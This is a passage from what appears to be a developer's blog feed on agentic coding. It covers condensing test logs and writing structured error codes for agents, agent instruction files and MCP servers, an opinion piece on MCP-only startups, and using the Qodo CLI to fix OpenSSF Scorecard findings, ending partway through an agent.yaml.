 FAIL  e2e/__tests__/stackTraceSourceMaps.test.ts (9.807 s)
  ● processes stack traces and code frames with source maps

    Command failed with exit code 1: yarn install --immutable
    ➤ YN0000: · Yarn 4.9.2
    ➤ YN0000: ┌ Resolution step
Resolution step
    ➤ YN0000: └ Completed
    ➤ YN0000: ┌ Post-resolution validation
Post-resolution validation
    ➤ YN0000: └ Completed
    ➤ YN0000: ┌ Fetch step
Fetch step
    ➤ YN0018: typescript@patch:typescript@npm%3A5.8.3#optional!builtin<compat/typescript>::version=5.8.3&hash=5786d5: The remote archive doesn't match the expected checksum
    ➤ YN0000: └ Completed in 4s 59ms
    ➤ YN0000: · Failed with errors in 4s 284ms

    {
      shortMessage: 'Command failed with exit code 1: yarn install --immutable',
      command: 'yarn install --immutable',
      escapedCommand: 'yarn install --immutable',
      exitCode: 1,
      signal: undefined,
      signalDescription: undefined,
      stdout: '\x1B[94m➤\x1B[39m YN0000: · \x1B[1mYarn 4.9.2\x1B[22m\n' +
        '\x1B[94m➤\x1B[39m \x1B[90mYN0000\x1B[39m: ┌ Resolution step\n' +
        '::group::Resolution step\n' +
        '::endgroup::\n' +
        '\x1B[94m➤\x1B[39m \x1B[90mYN0000\x1B[39m: └ Completed\n' +
        '\x1B[94m➤\x1B[39m \x1B[90mYN0000\x1B[39m: ┌ Post-resolution validation\n' +
        '::group::Post-resolution validation\n' +
        '\x1B[93m➤\x1B[39m YN0068: │ \x1B[38;5;166m@algolia/\x1B[39m\x1B[38;5;173mautocomplete-core\x1B[39m ➤ \x1B[38;5;111mpeerDependencies\x1B[39m ➤ \x1B[38;5;166m@algolia/\x1B[39m\x1B[38;5;173mclient-search\x1B[39m: No matching package in the dependency tree; you may not need this rule anymore.\n' +
        '\x1B[93m➤\x1B[39m YN0068: │ \x1B[38;5;166m@algolia/\x1B[39m\x1B[38;5;173mautocomplete-core\x1B[39m ➤ \x1B[38;5;111mpeerDependencies\x1B[39m ➤ \x1B[38;5;173malgoliasearch\x1B[39m: No matching package in the dependency tree; you may not need this rule anymore.\n' +
        '\x1B[93m➤\x1B[39m YN0068: │ \x1B[38;5;166m@algolia/\x1B[39m\x1B[38;5;173mautocomplete-plugin-algolia-insights\x1B[39m ➤ \x1B[38;5;111mpeerDependencies\x1B[39m ➤ \x1B[38;5;166m@algolia/\x1B[39m\x1B[38;5;173mclient-search\x1B[39m: No matching package in the dependency tree; you may not need this rule anymore.\n' +
        '\x1B[93m➤\x1B[39m YN0068: │ \x1B[38;5;166m@algolia/\x1B[39m\x1B[38;5;173mautocomplete-plugin-algolia-insights\x1B[39m ➤ \x1B[38;5;111mpeerDependencies\x1B[39m ➤ \x1B[38;5;173malgoliasearch\x1B[39m: No matching package in the dependency tree; you may not need this rule anymore.\n' +
        '\x1B[93m➤\x1B[39m YN0068: │ \x1B[38;5;166m@docsearch/\x1B[39m\x1B[38;5;173mreact\x1B[39m ➤ \x1B[38;5;111mdependencies\x1B[39m ➤ \x1B[38;5;166m@algolia/\x1B[39m\x1B[38;5;173mclient-search\x1B[39m: No matching package in the dependency tree; you may not need this rule anymore.\n' +
        '\x1B[93m➤\x1B[39m YN0068: │ \x1B[38;5;166m@react-native/\x1B[39m\x1B[38;5;173mbabel-plugin-codegen\x1B[39m ➤ \x1B[38;5;111mpeerDependencies\x1B[39m ➤ \x1B[38;5;166m@babel/\x1B[39m\x1B[38;5;173mpreset-env\x1B[39m: No matching package in the dependency tree; you may not need this rule anymore.\n' +
        '\x1B[93m➤\x1B[39m YN0068: │ \x1B[38;5;166m@react-native/\x1B[39m\x1B[38;5;173mbabel-preset\x1B[39m ➤ \x1B[38;5;111mpeerDependencies\x1B[39m ➤ \x1B[38;5;166m@babel/\x1B[39m\x1B[38;5;173mpreset-env\x1B[39m: No matching package in the dependency tree; you may not need this rule anymore.\n' +
        '\x1B[93m➤\x1B[39m YN0068: │ \x1B[38;5;166m@react-native/\x1B[39m\x1B[38;5;173mcommunity-cli-plugin\x1B[39m ➤ \x1B[38;5;111mpeerDependencies\x1B[39m ➤ \x1B[38;5;166m@babel/\x1B[39m\x1B[38;5;173mpreset-env\x1B[39m: No matching package in the dependency tree; you may not need this rule anymore.\n' +
        '\x1B[93m➤\x1B[39m YN0068: │ \x1B[38;5;166m@react-native/\x1B[39m\x1B[38;5;173mmetro-babel-transformer\x1B[39m ➤ \x1B[38;5;111mpeerDependencies\x1B[39m ➤ \x1B[38;5;166m@babel/\x1B[39m\x1B[38;5;173mpreset-env\x1B[39m: No matching package in the dependency tree; you may not need this rule anymore.\n' +
        '\x1B[93m➤\x1B[39m YN0068: │ \x1B[38;5;173mbabel-plugin-transform-flow-enums\x1B[39m ➤ \x1B[38;5;111mpeerDependencies\x1B[39m ➤ \x1B[38;5;166m@babel/\x1B[39m\x1B[38;5;173mcore\x1B[39m: No matching package in the dependency tree; you may not need this rule anymore.\n' +
        '\x1B[93m➤\x1B[39m YN0068: │ \x1B[38;5;173mreact-native\x1B[39m ➤ \x1B[38;5;111mpeerDependencies\x1B[39m ➤ \x1B[38;5;166m@babel/\x1B[39m\x1B[38;5;173mpreset-env\x1B[39m: No matching package in the dependency tree; you may not need this rule anymore.\n' +
        '::endgroup::\n' +
        '\x1B[94m➤\x1B[39m \x1B[90mYN0000\x1B[39m: └ Completed\n' +
        '\x1B[94m➤\x1B[39m \x1B[90mYN0000\x1B[39m: ┌ Fetch step\n' +
        '::group::Fetch step\n' +
        "\x1B[91m➤\x1B[39m YN0018: │ \x1B[38;5;173mtypescript\x1B[39m\x1B[38;5;111m@\x1B[39m\x1B[38;5;111mpatch:typescript@npm%3A5.8.3#optional!builtin<compat/typescript>::version=5.8.3&hash=5786d5\x1B[39m: The remote archive doesn't match the expected checksum\n" +
        '::endgroup::\n' +
        "\x1B[91m➤\x1B[39m YN0018: \x1B[38;5;173mtypescript\x1B[39m\x1B[38;5;111m@\x1B[39m\x1B[38;5;111mpatch:typescript@npm%3A5.8.3#optional!builtin<compat/typescript>::version=5.8.3&hash=5786d5\x1B[39m: The remote archive doesn't match the expected checksum\n" +
        '\x1B[94m➤\x1B[39m \x1B[90mYN0000\x1B[39m: └ Completed in 4s 59ms\n' +
        '\x1B[91m➤\x1B[39m YN0000: · Failed with errors in 4s 284ms',
      stderr: '',
      failed: true,
      timedOut: false,
      isCanceled: false,
      killed: false
    }

// and so on
// more and more test output here ...

Oh, you think it is theoretical?

Well then, I invite you to open up the Jest CI for the Node.js sanity, here’s a link directly to the GitHub Action run (if this particular job expires, you can look at another recent run).

Now imagine that the Jest team wanted to embrace agentic coding workflows and unleash Claude Code on their code base. Even simpler use-case, telling Claude Code to look at the logs on the GitHub Action run, investigate why the tests are failing, and fix the code.

So let’s fix it and turn something like:

# This could lead to a situation where the context window is filled with test logs
# and the agent struggles to maintain relevant context for the task at hand.
npm run test

Into mitigating it by having tests output a summarized or minimal reported output of the test results, keeping only the necessary context that matters for the agent to continue working on the code base:

# This reduces the amount of context consumed by test logs
npm run test:agentic-summarized -- --reporter=summary

Here is a good example of this from the Bun team, optimizing for AX:

AI-first errors

In a similar way to how we can optimize the context window for AI agents, we can also optimize the agentic execution and its performance by building our applications in a way that provides as much contextual information as necessary to the agent.

Keep in mind that the AI agent may have access to tools and MCP servers. One of those tools may be a browser agent or a general web page fetch tool that allows it to search the web for information.

With that in mind, some overall guidance as follows:

If the agent can search the web, then you better be clever about your error messages. Instead of a generic error message like Error: unable to detect input field 'dota' you can use organized error codes such as E273: Input field 'dota' not found in the form 'create-account'. This way, the agent can search for E273 and find relevant information about that error code due to search engines indexing it.
Provide dense contextual information in the error message and co-locate important nuances and relevant information to the error. This way, the agent should be able to extract more information without having to rely on the error data scattered at the beginning of the buffer, the end of the buffer and so on.
Using structured error messages is likely a way to improve the agent’s ability to parse the error and reason about the underlying issue for it to perform root cause analysis and attempt to fix it.

Here is an example of such error message as described above:

Error: E273: Input field 'dota' not found in the form 'create-account'. Please ensure that the input field exists and is correctly named. If the issue persists, refer to the documentation at https://example.com/docs/errors/E273 for troubleshooting steps.

5 Pillars of Augmented Agentic Software Development

Sat, 09 Aug 2025 00:00:00 GMT

I’ve been experimenting with several AI coding assistants, today more formally referred to as “agentic coding”, such as Gemini CLI, Claude Code and Cursor as some popular examples. With a growing experience around optimizing for the best results from LLMs for both large and existing code repos as well as greenfield new npm packages, I’ve taken several key pillars that help augment the performance you get out of agentic workflows for software development.

Following is an outline of these agent-focused pillars:

1. The Agent system instructions

Just as chatbots like ChatGPT have an internal “system prompt” for alignment and grounding of their behavior and scope, so do agentic coding tools.

Specifically, with regards to CLI coding tools, which have been mostly popular in adoption by developers who seek autonomous execution and are running on the user’s premise, those system prompts are significantly important to steer the type of work you wish to do within software development.

Originally, they’ve been proposed by other agentic IDEs like Cline (or Roo Code) and Cursor and have been made popular by the latter as “cursorrules”. Now, they’ve been popularized as agent markdown files. I call them Agent MDs:

Claude Code uses CLAUDE.md
Gemini CLI uses GEMINI.md

They behave differently but regardless, are great to adopt. For example, Claude Code looks up for CLAUDE.md file in the current directory where it executes coding tasks and traverses up until it finds one in the project’s root directory (or a user global configuration at the home directory ~/).

How to use those Agent MD files:

Put project general overview in them
Keep track of design and technical considerations
Describe services and models in specified directories. For example, if you have a src/services/database you can put a CLAUDE.md there that would outline relevant information for any work that the agent will do with your database service. For example, if you don’t want the agent to hallucinate non-existent tables or disallow creating composite primary key on the database level, simply outlines these instructions in the markdown file. This way, you can be very specific in your instructions per the directory structure and avoid a large context outlining these in just one file.

2. Spec-driven development

What started as “prompt engineering” has now evolved into “context engineering”.

Gone are the times where you prompts “build a note taking app” and enter the days of spec-driven development, where you outline high-level product requirements (and may take further steps to provide a design document as well).

To use the note taking app example, you’d likely create a docs/ directory that will hold a REQUIREMENTS.md doc file that will outline information that you’d normally find in a PRD (Product Requirements Document) such as:

Overview
Product’s goal
Product’s dependencies
Product’s functional requirements
Use-cases and user acceptance criteria

Here is a real example from a command-line app I’m building called agent-rules:

- docs/
   - REQUIREMENTS.md
   - DESIGN.md
   - PROJECT.md

I invite you to also into the code repository and investigate the other docs fully to grab a broader understanding on how to build these.

Ok so if we’ve made the case for spec-driven development, how to take it forward from here? Here are some tips I have for you to explore:

If you’re working on an existing project with code-base already established, invoke Gemini CLI or Claude Code and prompt them to create one of these documents. Give them examples and references and fine-tune your prompt with what you are looking for.
As part of your agentic coding workflow, when you finish working on a task, require the agent to update those requirements and/or design documents with the relevant information from the task so that these documents stay up-to-date resource for the next task.
Explore AI-native spec-driven development platforms like Tessl which primarily optimize for a high-level guided PRD workflow.

3. MCP Servers to speed-up and augment LLMs

So everyone have been MCPing and MCPs have become ubiquitous. Whether these are WorkOS’s MCP Night events, or front-and-center talks at AI Engineer conference, and really just so immensely popularized and pushed by Anthropic and other key players in the LLM and agentic workflows space.

If you’re new to MCPs and need an introduction then I’ll skip it here but will leave you with my prior guides on “What is MCP in AI” and “A Visual Introduction to Understanding MCP” for you to deep-dive into.

Alright, back to MCPs with coding agents. LLMs are a great knowledge base but they lack very specific and up-to-date information about libraries you use, or actions you want to perform. This is where MCPs come in handy to really augment the coding agent and I’ve been using the following group of MCPs to really augment the performance:

Code research MCPs

DeepWiki is a website that indexes GitHub projects and creates a sort of Deep Research around code repositories.

If you want to deep-dive into a library, you could read the code, which is… hard to navigate and consume. But DeepWiki create an entire structure out of this, including core component architecture, flow charts, getting started and more.

A picture is worth 1,000 words, so here is an example from DeepWiki website analyzing my lirantal/npq project which is about my npq security CLI:

Other notable code research and library documentation MCPs:

GitMCP for on-demand, live and library-specific MCP documentation
Context7 which is somewhat similar to GitMCP but GitMCP could be viewed as more secure as it doesn’t pre-index data that could be malicious.
Node.js API Docs MCP Server which is an MCP Server for Node.js API documentation

Code vitality and security MCPs

LLMs are token hungry and agentic coding assistants are even more so. They’ll read a lot of context and you’ll likely be creating so much more new code and at an unprecedented pace like never before.

How do you make sure the new GenAI code is up to your standards?

Is the new up to our coding style and standards? Run the ESLint MCP Server (or have an agent rule to always run npm run lint for example)
Is the new code free of security vulnerabilities? Run the Snyk MCP Server

Web research MCPs

Tired of the context switch between your IDE code and googling, eh, remember those days? :)

Regardless of the model’s knowledge base you sometimes want to research a topic before you even plan it. Now you can do it with dedicated deep research or search MCPs in the form of Exa and Serper (Google search results).

Exa, Serper and other MCP services that allow you to search the web right from the agent’s chat window without having to switch back and forth from your browser window to the IDE or terminal.

In fact, Gemini CLI bakes in a built-in web search capability so if you’re stuck on an error you’ve never seen before you can just search for the error code:

4. Agent Sessions and Memory

Some more advanced traits of augmented development include keeping track of tasks progress which provides insightful and up-to-date context about work on this code repository.

Why is managing on-going memory useful for agentic coding?

The agent keeps a sort of task-list of its work. It can even manage an actual markdown task list via [ ] Create a database schema type of tasks and then update them as it goes along.
Agent memory helps you manage asynchronous work on a code base so you can pause and resume at any time.
Agent memory is useful to roll back changes or do a time travel visit to prior work.

Some notable examples of using agentic coding memory are the Task Master AI tool, and Philipp Schmidt’s Plan mode for Gemini CLI:

5. Agent Commands

Interested in squeezing out the most out of CLI coding agents? Claude Code and Gemini CLI allow you to extend the out-of-the-box CLI behavior with the following (not all features exist in both of these coding agents):

Hooks: for example, before or after editing or reading files, run command x.
Commands: expand the slash commands with your own.
BYOM: Bring Your Own MCP allows you to connect MCPs that extent the agent’s capabilities.
Rules / System prompts: Building your own rules such as the CLAUDE.md and GEMINI.md that we’ve described above.

Some of these are even bundled together as full end-to-end extensions that you can enable for the agent.

Themes to Unlock Agentic Development for Software Engineers

Fri, 01 Aug 2025 00:00:00 GMT

Agentic coding assistants in the forms of IDE extensions are becoming increasingly popular among developers but they’re likely just a milestone in the evolution of LLM-powered software engineering which will truly be AI-native. In this article, I want to unpack some AI-centric trends in software development and lean in to the future of what they would translate to in terms of the role of an engineer.

The overall themes are:

From IDE to ADE
Autonomous Execution
From DX to AX

From IDE to ADE

As developers, we’ve been using editors in the very early age of software engineering, from simplistic text editors to sophisticated Integrated Development Environments (IDEs) that provide a rich set of features to enhance our coding experience in the form of built-in debuggers, syntax highlighting, powerful code refactoring tools, and more. A lot of these capabilities are the essential building blocks of developer experience, so much so, that developers will hold tightly on to an IDE like IntelliJ’s Webstorm and refuse the switch to VS Code, as one example.

These traditional IDEs have been infused with the AI capabilities of modern LLM and post-ChatGPT 3.5 era. The simplest and most friction-free workflow to bring AI into a developer’s workflow has been to augment and extend the IDE with extensions or plugins. Tabnine and GitHub Copilot were the front-runners in this space, providing AI-powered code completion and suggestions directly within the IDE. While Tabnine existed much earlier, it was GitHub Copilot that truly popularized the concept of AI-assisted coding and demonstrated the magic of auto completion in the way that suggests full-fledged functions that are much more in-tune to the developer’s intent and the code context rather than just intellisence and smart autocompletion.

GitHub Copilot, Cline, Roocode and other AI coding assistants are specific extensions that build on top of an existing coding model that we’ve come to call the IDE.

However, the advent of AI is pushing us towards a new paradigm: the Agentic Development Environment (ADE).

What makes an IDE “agentic” ? What are some characteristics of aentic development workflows?

Autonomous Execution

In Autonomous Execution, CodeGPT (later branded to Devin) and Cursor, pioneered the concept of “YOLO”-mode in which the LLM reasons about a plan of work and then executes it in complete autonomy. For example, if the task requires installing a library, the LLM might find that said package doesn’t exist, and then suggest and auto-continue to install it. In this sense, an ADE can autonomously execute code based on the developer’s intent, without requiring manual intervention for every step. This means that the environment can understand the context and purpose of the code, allowing it to make decisions about how to proceed.

Parallel Execution

As for Parallel Execution, if you can run one task autonomously, why not run multiple tasks in parallel? This is a significant shift from traditional IDEs, which typically focus on a single task at a time. Even if you have several files opened in a a code editor, that’s more than often not for performing parallel changes in different streams of work. Achieving reliable autonomous execution of one agent could pave the road towards multiple agentic execution. An ADE will handle multiple tasks simultaneously, leveraging the capabilities of AI to manage various aspects of the development process concurrently.

Modern agentic coding tools now refer to this as “background agents” which essentially run multiple LLM-powered execution loops in the background in a non-blocking way. This frees up developers to focus their work on other tasks while the AI handles background operations, such as code generation, testing, or deployment.

From DX to AX

Development experience (DX) is still going to rule the adoption curve but it will be evaluated in the proxy of agent experience (AX) traits and performance that will eventually prevail and dictate the success of an agentic development environment and agentic workflows overall.

What goes into the mix of AX? A couple of questions that will surely translate into evaluating an agent performance could include:

How well does the agent translate the developer’s intent into a working plan?
How efficiently does the agent execute tasks autonomously?

Much of these questions are grounded with the underlying model (i.e: Claude Sonnet 4, vs OpenAI’s GPT-4o vs Google’s Gemini 2.5 Pro) and to an extent are beyond the developer control except the actual choice of which model to use. However, regardless of the model, the agentic capabilities and its performance with regards to the above evaluation criteria can be influenced by the developer and the agent capabilities, such as:

Managing memory for the agent
Providing the agent with the right context
Tool availability and tool use

Memory, context, and tools and their level of excellency will determine the agent’s ability to perform well and ultimately the agentic experience (AX) that developers will have in and around an agentic development environment.

Where does AX leave human engineers?

This subtitle is already a loaded question, hinting the domain of “agentic engineering” which opposes that of human engineering. We’ll see how that plays out but in the mean time, the above themes are already unfolding in different forms and shapes, whether this is Claude Code CLI, or Cursor’s background agents, ultimately dictating the shift in roles and responsibilities of software engineers.

As the current trend unfolds, I predict a non-insignificant percent of traditional software engineering workflows such as “AI coding assistants” and scoped agentic code will be replaced by autonomous agents that can execute code autonomously, manage parallel tasks, and provide a seamless agentic experience (AX) for developers.

In that world, the role of humans will be a “human in the loop” (HITL) where the human will assume the role of an architect or “agent manager”. These master-planner humans will be responsible for high-level planning, ensuring context, security oversight, and optimizing agentic performance, while the agentic development environment handles the execution of tasks, observability and management. This shift will require developers to adapt to new tools and workflows, focusing on how to best leverage the capabilities of AI agents to enhance their productivity and creativity.

If You're an MCP Company You're NGMI

Wed, 23 Jul 2025 00:00:00 GMT

Since its announcement in November 2024 by Anthropic, Model Context Protocol (MCP) took several months into 2025 to really hit the trend wave but ever since it has been the talk of the X town (you know, Twitter). I’ve seen many commercial endeavors with high affinity to the MCP domain. Everything from observability, to policies and up to coding and security verticals, founders are jumping on the current AI hype train to capitalize on the momentum for MCPs.

But putting it ALL IN on MCP is a good bet?

My take is “If you’re an MCP company you’re NGMI” (Not Gonna Make It) and I want to unpack that.

It’s MCP time!

If you were startled by the title, then to clarify, I don’t think MCP is a passing trend. I’ve been building my own MCP Servers (Node.js API docs MCP Server), I’ve been curating an Awesome MCP Best Practices and have reported security vulnerabilities in MCP implementations. So, I think it’s safe to say I’m a fan of MCP and I think it is here to stay.

Why is MCP a vector in a good direction? That’s a write-up for another post so let me drill-in to my opinion about the MCP companies.

MCP companies are NGMI

If you’re a company in which the core product offering, the core value and integration point into your customer is MCP, then I firmly believe you’re not gonna make it (NGMI), or at the very least you’ll be facing a lot of headwinds.

How many API-only companies can you think of? I’m not talking about API-first or API-native. I’m talking about companies of which the core offering is an API. One I can think of is Twilio but even Twilio has a lot more going as an actual telecom SaaS platform. Another API-only company I can think of is maybe those geolocation APIs and I don’t recall that these are billion dollar unicorns.

Arguably, and maybe ironically, we can argue that companies like OpenAI and Anthropic could be API-only companies. They own the models, that’s where the real money, yes? We literally already established a few years ago on a token economy that the model is the product. I agree, but those are the exception of the rule, and even then, Anthropic and OpenAI have invested in so much more so that the model isn’t the only moat:

OpenAI has the front-facing ChatGPT, considered buying the Windsurf IDE, and launched OpenAI Codex.
Anthropic has Claude Desktop, which is more than just a rich app that uses MCPs and integrations. They have built an entire Artifacts platform around it including their own “Anthropic Connect” authentication and identity platform. Even more so, Anthropic is killing it with Claude Code command-line application for developers.

In contrast to the above, if you are a company building a product in which MCP is a gateway that allows your product to be integrated into agentic workflows, then that’s a whole different story and MCP is a friction free and smooth way to weave yourself into futuristic AI workflows.

Why an MCP company is not enough?

So after I clarified the big difference between MCP being a (valuable) add-on to your product, versus being your total core product and sole offering, let me explain why I think MCP in and of itself is just not enough.

1. MCP is a protocol and protocols evolve

For those of us who have adopted MCP a while ago, we almost forget that MCP in its essence is a protocol. Anthropic built MCP because they seeked a way to standardize on LLMs invoking actions that didn’t require brittle tool configuration that rely on a model or an SDK. Hence MCP was born - a way to communicate between agents and LLMs.

Today it’s MCP. Tomorrow that protocol could be replaced by something else that is more efficient, more secure, or simply better. Google have already unveiled their Agent to Agent (A2A) framework in a way to complement MCPs but also plausibly to gain and own market through leadership for agentic workflows that are more complex.

How ready are you to keep pivoting and adapting your MCP as a core product when the next protocol comes along?

2. MCP has zero stickiness

I remember stickiness being a magic word in the early days of 2010s when social networks were at their peak and have been seeking out ways to keep users on engaged on their platforms. Still is the case today, but for MCPs? not so much.

Think about MCP stickiness in the context of cybersecurity companies. In the world of cyber security, contracts are often signed for a prolonged period of time, such as 3 years. Furthermore, security products are often integrated very heavily into internal systems, infosec operations and they aren’t as easy to just swap out and replace every 6 months.

In contrast? MCP from a consumer perspective is literally a 5 lines JSON definition:

{
    "mcpServers": {
        "myMCPServer": {
            "command": "npx",
            "args": ["mcp-server", "--port", "3000"],
        }
    }
}

How do you counter this? Where and how does your moat show-up? You’d have to invest heavily in the systems and engines behind the MCP server in a way that competitors can’t easily reproduce or even come near it. Even more so, you are potentially in never-ending competition with the model itself (the LLM) as those become better and better at inferring data, context, and assume a more autonomous role.

The exception for MCP companies

Let’s ideate some exceptions to the rule here with potential MCP-centric companies that I think would make it. An MCP-centric company that provides auxiliary value around MCPs. Everything that’s beyond the protocol itself. These include: observability, policy enforcement, MCP Gateway, MCP Proxies, building better and rich experiences around debugging, hosting, general UX.

These companies would have to be best of class. They won’t be able to dominate everything, for example, Cloudflare and Vercel were both fast to respond and build MCP frameworks and deployment support to their platforms.

Now imagine you’ve built the best MCP company in the world and then woke up the next morning for whatever next MCP protocol that comes along. What’s your plan? Better have one! ;-)

Goodluck!

Auto fine-tuning Agentic Workflow with Qodo CLI

Tue, 22 Jul 2025 00:00:00 GMT

Running agentic AI workflows with the Qodo Command CLI is a powerful way to automate tasks but what’s even cooler is that you can also automate the whole fine-tuning of the agentic workflow process itself USING THE AGENT!

In a previous article I showed you how I use the Qodo Command CLI to automate the OpenSSF Scorecard security issues in my GitHub repositories. That was cool, but my agent instructions didn’t all work out great on the first try. In this article, I will show you how I can use the Qodo Command CLI to automate the fine-tuning of the agentic workflow itself.

Agentic Workflow Problems

Agentic workflows, and in general, “agentic” AI carries a lot in this term. To me (and by Anthropic’s definition) an agent isn’t just a program running through pre-defined code paths and invoking LLMs to do things. Instead, an AI Agent is a workflow (or system in a broader sense) that is characterized by agency, autonomy and reasoning. Meaning, an AI agent can make plan out what it needs to do, roll out its decisions, adapt to new information, and optimize its actions based on feedback.

The adapt to new information is a key part because this is how the agent actually fulfills its autonomy.

In the first time I instructed the agent to run the OpenSSF Scorecard security issues, I gave it sparse instructions that made sense to me but didn’t work out as I expected. What I mean by that is that I didn’t read the full capabilities of the GitHub MCP Server and for one example, it didn’t easily support some features needed by the agent to carry out. So what happened is the following log of actions:

The agent would try to run a tool from the the GitHub MCP Server
The tool would fail
The agent will reason about it and say “let me try running this GitHub configuration with the gh tool at my disposal”
The agent would run the gh tool and it would work well

So essentially, the agent was able to adapt to the new information that the GitHub MCP Server didn’t support the tool it was trying to run, and it used the gh tool instead.

If I left the agent configuration (the instructions) as is, then in the next time I run it, on the same or a different repository, it would likely run into the same problems (although, there’s some non-deterministic factor that it would not). So I needed to fine-tune the agent instructions to make sure it doesn’t run into the same problems again.

Fine-tuning Qodo’s Agentic AI Workflow

What would a human do in this situation?

I figured what I’d do is take a look at the running log of all the actions the agent took, find the tool executions that failed and then update the agent instructions to give it specific instructions to run some action via whatever path it succeeded to do before.

Well, of course I’m not going to do all of that manually, right?

Instead, I copied all of that log of prior agentic workflow and kicked off a new agentic workflow, a simpler one that reads the log file, reasons about which actions should be better communicated, and then update the agent.yaml file with the new instructions that would make it succeed the next time it runs. Self-healing agentic workflows! Feels like we’re in the future ;-)

Here is what it looks like:

And it identified a bunch of issues and rectified them:

And then goes on to update the agent.yaml file with the new instructions:

If you review the git diff above for changes, you can see how the instructions are now driving the agent to use the gh tool where the GitHub MCP Server fails, or update the commands allow-list configuration for the shell tool to include commands that the agent needs to run and had trouble with before.

Takeaways on Auto-healing Agentic Workflows

This was an interesting experience to get the agent to read its own log file and reason about the changes to make that improve it, then autonomously apply them to its own agent instructions.

Some manual work was still required from me, as I was executing the agent after its first pass, to give it the logs to process, and then re-run the agent with the updated instructions. It would make a futuristic outlook to allow the agent to keep a log as it is running and then update instructions on the fly. This is somewhat similar to how Memory and Task Manager extensions for Cursor and others work but trying this out is a task for another day ;-)

Automating OpenSSF Scorecard Security issues with Qodo CLI Agentic Workflow

Sat, 12 Jul 2025 00:00:00 GMT

Getting a security report for security vulnerabilities and misconfiguration issues of your GitHub project is a good start but can we leverage AI to also remediate all of these issues automatically through agentic workflow? Yes and I will show you how I do that with Qodo CLI Agentic Workflow.

The OpenSSF Scorecard is a project from the Open Source Security Foundation (OpenSSF) that provides a set of automated checks to assess the security posture of open source projects. Running the Scorecard is a nice way to get a quick overview of outstanding security gaps but can I help developers out by automating the process of running the Scorecard AND fixing all the security issues it finds? Well, yes! This is the mission that I was set out to accomplish and I want to show you how I did that with Qodo Command, a new agentic CLI workflow tool from the cool folks at Qodo.

The magic? we started with mere 2.6 points (out of 10) Scorecard and ended up with 7.4 points after running the Qodo Command agentic workflow to fix all the security issues automatically:

Ready for the full ride? Let’s go!

What is OpenSSF Scorecard and how to run it?

I already gave you a short brief on what Scorecard is about. Basically it runs a bunch of checks against your GitHub project - both your code base (more specifically, your GitHub Actions workflows) and your GitHub repository settings - and then it scores your project based on how well you’re doing on security.

You can run the Scorecard on your GitHub project by using the scorecard command, or use the ossf/scorecard GitHub Action, or even run a partial check from the OpenSSF Scorecard website. Why partial? because access to your repository settings, to vet them, is required and from the website you can only run the checks on the repo from a viewer perspective, not as an admin.

Anyways, a quick and easy to get started is:

Generate a GitHub Personal Access Token (PAT) with repo scope.
Install the scorecard CLI tool by following the instructions on the OpenSSF Scorecard GitHub repository or website
Run the Scorecard against your GitHub repository:

GITHUB_AUTH_TOKEN=1234 scorecard --repo "https://github.com/lirantal/npq"

Once you run the Scorecard, it will, well, generate a… drum roll … scorecard report! Surprise, surprise. Anyways, here is an example of the report you get from the CLI output if you run it on a sort of brand-new typical project without too much security hardening:

As you can see, a scorecard result of 2.6 (out of 10), pretty poor.

Now what do you do? How many developers are actually going to run the tool in the first place, let alone, read the results and start remediating the security issues one-by-one? And what happens when you need to do this at scale to a bunch of repositories? Ahh yes, frustration and despair.

Let’s automate this!

What is Qodo Command?

I know you heard all of these pitches before about Cline, Cursor, GitHub Copilot and on and on. But this time I’m going to show you Qodo because they have a unique “agent” approach to their CLI tool. And yes, as you assumed, Qodo is also in the AI-first DevTool business which means that they are building tools to help developers automate their workflows using AI. Nothing new in 2025 :D

So, Qodo Command is one of their tools that is specifically designed to help developers create agentic workflows that run on the command-line. If you’ve heard or used Claude Code then this is similar but there’s a cool twist to it.

What’s unique about Qodo Command is that it allows you to create workflows through an agent.yaml file where you define the behavior, the MCP (Model Context Protocol) servers available to the agent, and even a sort of test criteria (kind of like evals for LLMs) to ensure that the agent behaves as expected, and then also set the schema for the agent’s output.

There is a lot in it and I won’t cover it end-to-end but we’ll focus on a setup and the specific agentic workflow use-case that I created to automate the OpenSSF Scorecard security issues remediation.

Setting up Qodo Command

To get started with Qodo Command, you need to install it. You can do that by following the instructions on their GitHub repository or the Qodo Command website but it’s basically installing an npm package:

npm install -g @qodo/command

Once you have Qodo Command installed, you should authenticate:

qodo login

Follow the whole browser login flow and then you should be good to go. Back to the terminal, you can run:

qodo

And get started to prompt it and ask it questions like any other LLM or agentic workflow tool you’re used to.

Setting up the OpenSSF Scorecard agentic fixer

Now to the cool part, automating the whole OpenSSF Scorecard security issues. Here is how I went about doing this. Remember, that you execute the agentic workflow from the CLI using the qodo command, so you’ll also going to need a specific setup to make this work from your own terminal and the requirements prescription looks like this:

Create a GitHub Personal Access Token (PAT) with repo scope. I already mentioned this above but if you didn’t yet do it, now is the time.
Get Docker running. We will need that to run a local GitHub MCP Server.
Install the GitHub gh CLI tool. This is required to run the gh commands from the agentic workflow. (The reason is that the AI agent will perform some tasks via the GitHub MCP Server and other tasks via the gh CLI tool)
Install the scorecard CLI tool. This is required to run the OpenSSF Scorecard checks from the agentic workflow.
Install the, no just kidding, no more installs. Unless you haven’t yet installed Qodo Command, in which case: npm install -g @qodo/command

Now that you have all the prerequisites, for the agent to drive work through, we need to actually define the agent.

Defining the agent means giving it instructions, telling it which MCP Servers are available to it, and so on. To do that, we’re going to create a file called agent.yaml in whatever directory you want to run the agent from. For example, I created a directory called openssf-scorecard-agent and then created the agent.yaml file in there. Note, it is likely that the agent will clone your target repository to this directory so make sure you have enough space on your disk and that there’s no other directory with the same name in this same location.

So here’s the full contents of Qodo Command’s agent.yaml file that I created and after you see it, I’ll briefly explain some parts of it so it would make more sense, but it should be pretty self-explanatory:

version: "1.0"

commands:
  openssf-scorecard-fixer:
    description: "Automatically fix and address issues raised by the OpenSSF Scorecard tool to increase security of a code repository on GitHub"
    
    arguments:
      - name: repo
        type: string
        required: true
        description: "The GitHub repository to analyze and fix issues for (full URL)"
      
      - name: create_pr
        type: boolean
        required: false
        default: true
        description: "Whether to create a pull request with the fixes (default: true)"
      
      - name: enable_branch_protection
        type: boolean
        required: false
        default: true
        description: "Whether to enable branch protection rules (default: true)"
      
      - name: fix_vulnerabilities
        type: boolean
        required: false
        default: true
        description: "Whether to automatically fix known vulnerabilities (default: true)"
      
      
      - name: base_branch
        type: string
        required: false
        default: "main"
        description: "Base branch to create feature branches from (default: main)"
      
      - name: branch_name
        type: string
        required: false
        default: "security/openssf-scorecard-fixes"
        description: "Name for the feature branch (default: security/openssf-scorecard-fixes)"
    
    available_tools:
      - git
      - filesystem
      - shell
      - github

    execution_strategy: plan
    
    mcpServers: |
      {
          "shell": {
